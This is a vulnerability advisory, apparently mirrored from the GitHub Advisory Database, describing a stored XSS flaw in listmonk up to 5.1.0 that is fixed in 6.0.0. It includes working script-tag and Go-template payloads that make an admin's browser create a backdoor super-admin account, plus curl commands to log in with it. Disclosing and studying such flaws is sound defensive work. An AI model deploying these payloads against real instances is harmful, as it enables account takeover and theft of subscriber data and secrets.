github.com/knadh/listmonk
Affected
- introduced
1.1.1, fixed6.0.0(semver)
Fixed versions
6.0.0
Fix
- Fixed version
6.0.0go get github.com/knadh/[email protected]
Advisory
Also known as: CVE-2026-21483, GO-2026-4277
listmonk Vulnerable to Stored XSS Leading to Admin Account Takeover
Security Advisory: Stored XSS Leading to Admin Account Takeover
Affected Versions: ≤ 5.1.0
Vulnerability Type: CWE-79: Stored Cross-Site Scripting
---
Summary
A lower-privileged user with campaign management permissions can inject malicious JavaScript into campaigns or templates. When a higher-privileged user (Super Admin) views or previews this content, the XSS executes in their browser context, allowing the attacker to perform privileged actions such as creating backdoor admin accounts.
The attack can be weaponized via the public archive feature, where victims simply need to visit a link - no preview click required.
---
Required Attacker Permissions
campaigns:manage - Create/edit campaigns
campaigns:get - View campaigns
lists:get_all - Access lists
templates:get - Access templates
Note: These are common permissions for content managers who are not full admins.
---
Attack Vectors
Vector 1: Raw HTML (Direct Script Tag)
<script>
fetch('/api/users', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
credentials: 'include',
body: '{"username":"backdoor","email":"[email protected]","name":"Backdoor","password":"Hacked123","type":"user","status":"enabled","userRoleId":1,"user_role_id":1}'
});
</script>
Vector 2: Go Template Safe Function
{{ `<script>fetch('/api/users',{method:'POST',headers:{'Content-Type':'application/json'},credentials:'include',body:'{"username":"backdoor","email":"[email protected]","name":"Backdoor","password":"Hacked123","type":"user","status":"enabled","userRoleId":1,"user_role_id":1}'});</script>` | Safe }}
---
Attack Scenarios
Scenario 1: Campaign Preview Attack
backdoor / Hacked123Scenario 2: Archive Link Attack (No Click Required)
http://localhost:9000/archive/{uuid}---
Proof of Concept
Step 1: Create Malicious Campaign
As lower-privileged user, create campaign with body:
<script>
fetch('/api/users', {
method: 'POST',
headers: {'Content-Type': 'application/json'},
credentials: 'include',
body: JSON.stringify({
username: 'backdoor',
email: '[email protected]',
name: 'Backdoor Admin',
password: 'Hacked123',
type: 'user',
status: 'enabled',
userRoleId: 1,
user_role_id: 1
})
});
</script>
Step 2: Enable Archive (Optional - for link-based attack)
http://localhost:9000/archive/{campaign-uuid}Step 3: Trigger Execution
Option A - Preview:
Option B - Archive Link:
Step 4: Verify Takeover
# Login as backdoor admin
curl -X POST "http://localhost:9000/admin/login" \
-d "username=backdoor&password=Hacked123" \
-c cookies.txt -L
# Verify super admin access
curl -b cookies.txt "http://localhost:9000/api/users"
---
Evidence Screenshots
> [Screenshot 1: Lower-privileged user creating malicious campaign]
<img width="1892" height="781" alt="Screenshot 2025-12-27 170259" src="https://github.com/user-attachments/assets/b9af26bf-0c5b-4667-ba9a-eea774156d0b" />
> [Screenshot 2: Super admin previewing campaign]
<img width="1686" height="709" alt="image" src="https://github.com/user-attachments/assets/4ca3d5ff-0cd9-4f22-bca0-e26e13c6b1c7" />
> [Screenshot 3: Backdoor user successfully created]
<img width="1370" height="469" alt="Screenshot 2025-12-27 170413" src="https://github.com/user-attachments/assets/18135128-f5af-4023-9aa7-8662a1405ed2" />
---
Impact
| Action | Possible via XSS |
|--------|-----------------|
| Create backdoor admin | ✅ Yes |
| Export all subscribers | ✅ Yes |
| Modify SMTP settings | ✅ Yes |
| Delete all campaigns | ✅ Yes |
| Access API keys/secrets | ✅ Yes |
---
Affected Components
| Component | XSS Works? | Method |
|-----------|-----------|--------|
| Campaign body (Raw HTML) | ✅ Yes | Direct <script> tag |
| Campaign body (Template) | ✅ Yes | {{ \ \ \| Safe }} |
| Template body | ✅ Yes | Both methods |
| Campaign archive | ✅ Yes | Automatic execution on visit |
---
Medium Basis: The source's own band: MODERATE
1.1.1, fixed 6.0.0 (semver)6.0.0
6.0.0go get github.com/knadh/[email protected]0, fixed 1.1.1-0.20251231125615-74dc5a01cfbb (semver)1.1.1-0.20251231125615-74dc5a01cfbb
1.1.1-0.20251231125615-74dc5a01cfbbgo get github.com/knadh/[email protected]Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0